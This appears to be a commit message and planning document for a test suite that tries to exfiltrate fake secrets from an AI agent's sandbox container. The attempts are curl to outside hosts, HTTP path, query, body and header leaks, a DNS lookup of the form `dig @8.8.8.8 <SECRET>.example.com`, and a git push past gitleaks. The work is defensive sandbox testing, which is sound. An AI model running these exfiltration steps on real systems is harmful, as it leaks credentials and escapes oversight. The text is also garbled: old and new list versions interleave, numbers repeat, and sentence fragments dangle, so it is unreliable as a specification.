docs(prd-0022): resolve remaining open Qs
test / unit (pull_request) Successful in 18s
test / integration (pull_request) Successful in 1m7s

All seven open questions now have decisions baked in:

  - Q1 (HTTP-exfil scope): authoritative. Every shape MUST
    block; chunk 3 expands into remediation sub-PRDs if
    any of path/query/header leak today.
  - Q3 (fake secret): multiple shapes, parameterized.
    Three env vars (TEST_SECRET_ANTHROPIC, _AWS, _GENERIC);
    test 5 loops via subTest. Resilient to gitleaks rule
    renames.
  - Q6 (missing backend): die. `get_bottle_backend()`'s
    current behavior surfaces clearly; surprise-skips are
    worse than loud failures for new-backend branches.
  - Q7 (tool deps): preflight check. setUpClass runs
    `which curl && which git && which dig`; SkipTest with
    the missing list catches future backends shipping
    thinner base images.

Updated implementation chunks + test-5 sketch to match.
No remaining open questions.

## Implementation chunks
Sized small.
1. **Fixture manifest + secret env-var plumbing.** Just the
files under `tests/integration/fixtures/sandbox-escape/`
and the test class scaffolding with `setUpClass` /
`tearDownClass` bringing up + tearing down the bottle.
1. **Fixture + scaffolding.** Files under
`tests/integration/fixtures/sandbox-escape/`, the
TestSandboxEscape class with `setUpClass` /
`tearDownClass`, the three-secret env-var fixture
(anthropic / AWS / generic shapes), and the
`setUpClass` preflight that checks for `curl`, `git`,
`dig` in the agent and SkipTests with the missing list.
No attack tests yet.
2. **Attack 1 + 2 (hostname + IP).** The simplest two —
curl returns non-zero, that's the assertion.
3. **Attack 3 (HTTP exfil shapes).** Parameterized over the
four shapes via subTest. Likely surfaces gaps in current
DLP coverage for header / path / query shapes.
4. **Attack 4 (DNS exfil).** Exact-match-allowlist
verification.
5. **Attack 5 (README push via git-gate).** Hardest because
it requires the git-gate sidecar configured and the
gitleaks rule fired. The "throwaway" upstream URL is
intentionally unreachable to keep the test fully
self-contained. Ordering assertions confirm gitleaks
fires before any upstream push attempt.
2. **Attack 1 + 2 (hostname + IP).** Curl exit-code
assertions. Also covers the host-header spoof via
`curl --resolve`.
3. **Attack 3 (HTTP exfil shapes).** Parameterized over
the four shapes (path, query, body, header) via
subTest. **This chunk is authoritative** — if any shape
leaks today, the chunk expands to include the
remediation PRD work for that shape before merging.
May fan out into multiple sub-PRs (one per leaking
shape) coordinated as a chunk-3 epic.
4. **Attack 4 (DNS exfil).** Two sub-assertions:
crafted-subdomain-via-pipelock + direct
`dig @8.8.8.8` from the agent's `--internal` network.
5. **Attack 5 (README push via git-gate).** Hardest
because of the multi-secret-shape parameterization +
git-gate-must-be-up requirement + the gitleaks-ordering
assertions. The "throwaway" upstream URL is
intentionally unreachable.
6. **CI integration (best-effort).** Add a Gitea Actions
job that runs the suite against the Docker backend.
Marked `continue-on-error: true` so the workflow doesn't
fail if docker-in-docker constraints prevent compose-up.
If the runner shape evolves later (e.g., privileged
Docker socket access) the suite slots in cleanly.

## Resolved questions
1. **Pipelock DLP coverage for non-body shapes.** Resolved:
**authoritative.** Every HTTP-exfil shape (path / query /
body / header) MUST block for the suite to pass. If a
shape leaks today, it's a real sandbox gap and the
remediation lands BEFORE this test merges, not after.
The project's purpose is sandbox integrity; shipping a
test that documents "we knowingly leak headers" is
worse than not shipping the test. May expand the
delivery into "this test PRD + N remediation PRDs"
depending on what attack 3 surfaces.
2. **DNS exfil via the agent's direct DNS resolver.**
Resolved: **add the assertion to test 4.** The
`--internal` network has no default gateway, so a direct
`dig @8.8.8.8 <SECRET>.example.com` from the agent
should fail. Test 4 grows a second assertion: in
addition to the crafted-subdomain-via-pipelock attempt
(which pipelock's exact-match allowlist rejects), the
agent's direct DNS query is also blocked. Both
sub-assertions must pass for test 4 to be green.
should fail. Test 4 grows a second sub-assertion
alongside the crafted-subdomain-via-pipelock check.
3. **Realistic fake secret.** Resolved: **multiple
shapes, parameterized.** The README attack (test 5)
loops over a tuple of secret shapes — anthropic-api-key,
AWS key (AKIA...), and a generic high-entropy string —
running the push-attempt N times. Each iteration is a
subTest. Catches the case where one gitleaks rule
lapses but another still fires; also makes the test
resilient to rule renames. The fixture bottle's env
carries `TEST_SECRET_ANTHROPIC` / `TEST_SECRET_AWS` /
`TEST_SECRET_GENERIC` rather than one combined
`TEST_SECRET`.
4. **Reachability of throwaway git upstream + gitleaks
ordering.** Resolved: **add ordering assertions to test 5.**

would mean gitleaks let the push through and the

The second assertion is the "ordering" check — if it
fires, gitleaks ran AFTER the upstream attempt
(sequence is wrong) or didn't run at all.
5. **CI vs. local-only.** Resolved: **attempt CI; accept
local-only fallback if docker-in-docker blocks it.**

host it.
## Open questions
6. **Backend-agnostic invocation when backend missing.**
Resolved: **die (current behavior).** `get_bottle_backend()`
already dies with a clear message naming the unknown
backend; the test surfaces that as a hard error
rather than a skip. Forces the developer to set
`CLAUDE_BOTTLE_BACKEND` to a real implementation —
surprise-skips on smolmachines branches that forgot to
set the env var are worse than a loud failure.
1. **What does today's pipelock actually do for shapes 3.1,
3.2, 3.4?** DLP body-scanning is a known feature; URL /
path / header scanning is less clear. The test will tell
us — if a shape passes today (attack succeeds), it's a
real gap and the test fails LOUDLY rather than silently
passing. Either:
- Treat the test as authoritative: every shape MUST block
for the suite to pass. Failing shapes are real bugs.
- Treat the test as descriptive: mark the failing shapes
`expectedFailure` and resolve them in a follow-up PRD.
Lean toward the first — the project's purpose is sandbox
integrity; documenting "we knowingly leak headers" is
worse than fixing it. But for v1 of this test it's OK to
land with `expectedFailure` markers + tickets.
3. **Realistic fake secret.** `sk-ant-api03-...` shape is
what gitleaks's anthropic-api-key rule matches. Verify
the exact regex before settling on the fixture value;
wrong-shape secret would mean attack 5 silently passes
the wrong way (gitleaks doesn't fire, README ships).
6. **Backend-agnostic invocation.** The suite reads
`CLAUDE_BOTTLE_BACKEND` so it runs against whatever
backend is active. For the smolmachines spike, the
developer sets that env var + runs the same test file.
No code change needed in the suite itself. Worth
verifying the existing `get_bottle_backend()` machinery
handles the backend-not-yet-implemented case gracefully
(it dies with a clear message today — confirm that's
what we want).
7. **Test environment requirements.** The agent container
needs `curl`, `git`, `dig`. Already in today's Docker
image; need to declare these as required for any
future backend's base image too. Worth noting in the
smolmachines PRD.
7. **Test environment requirements: enforce via preflight.**
Resolved: **preflight check in `setUpClass`.** After
bringing the bottle up, run `which curl && which git
&& which dig` inside the agent container; if any tool
is missing, raise `unittest.SkipTest` with the missing
list. Catches a future backend that ships a thinner
base image without producing five confusing
command-not-found failures down the suite.
